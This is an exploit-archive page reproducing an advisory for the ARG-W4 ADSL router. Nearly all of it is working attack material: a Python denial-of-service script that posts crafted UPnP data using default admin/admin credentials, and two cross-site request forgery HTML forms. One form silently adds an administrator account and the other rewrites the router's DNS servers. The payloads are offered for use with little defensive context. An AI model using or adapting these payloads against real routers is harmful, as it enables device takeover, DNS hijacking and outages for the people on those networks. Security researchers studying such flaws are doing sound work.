Home / os / wince

ARG-W4 ADSL Router - Multiple Vulnerabilities

Posted on 30 November -0001

<HTML><HEAD><TITLE>ARG-W4 ADSL Router - Multiple Vulnerabilities</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY># Exploit Title: ARG-W4 ADSL Router - Multiple Vulnerabilities
# Date: 2016-12-11
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM 
# Tested on: Windows AND Linux
# Exploit Demo : http://persian-team.ir/showthread.php?tid=196
 
1 - Denial of Service
 
#!/usr/bin/python
import urllib2
import urllib
 
site=raw_input("Enter Url : ")
site=site+"/form2Upnp.cgi"
username='admin'
password='admin'
p = urllib2.HTTPPasswordMgrWithDefaultRealm()
p.add_password(None, site, username, password)
handler = urllib2.HTTPBasicAuthHandler(p)
opener = urllib2.build_opener(handler)
urllib2.install_opener(opener)
 
post = {'daemon':' ','ext_if':'pppoe+1','submit.htm?upnp.htm':'Send'}
data = urllib.urlencode(post)
try:
    html = urllib2.urlopen(site,data)
    print ("Done ! c_C")
except:
    print ("Done ! c_C")
     
2-1 Cross-Site Request Forgery (Add Admin)
 
<html>
  <body>
    <form action="http://192.168.1.1/form2userconfig.cgi" method="POST">
      USER:<input type="text" name="username" value="mobham" />
      <input type="hidden" name="privilege" value="2" />
      PWD:<input type="text" name="newpass" value="mobham" />
      RPWD:<input type="texr" name="confpass" value="mobham" />
      <input type="hidden" name="adduser" value="Add" />
      <input type="hidden" name="hiddenpass" value="" />
      <input type="hidden" name="submit&#46;htm&#63;userconfig&#46;htm" value="Send" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
 
2-2 Cross-Site Request Forgery (Change DNS)
 
<html>
  <body>
    <form action="http://192.168.1.1/form2Dns.cgi" method="POST">
      <input type="hidden" name="dnsMode" value="1" />
      DNS<input type="text" name="dns1" value="2&#46;2&#46;2&#46;2" />
      DNS 2<input type="text" name="dns2" value="1&#46;1&#46;1&#46;1" />
      DNS 3<input type="text" name="dns3" value="" />
      <input type="hidden" name="submit&#46;htm&#63;dns&#46;htm" value="Send" />
      <input type="hidden" name="save" value="Apply&#32;Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html></BODY></HTML>

 

TOP

Malware :

Exploits :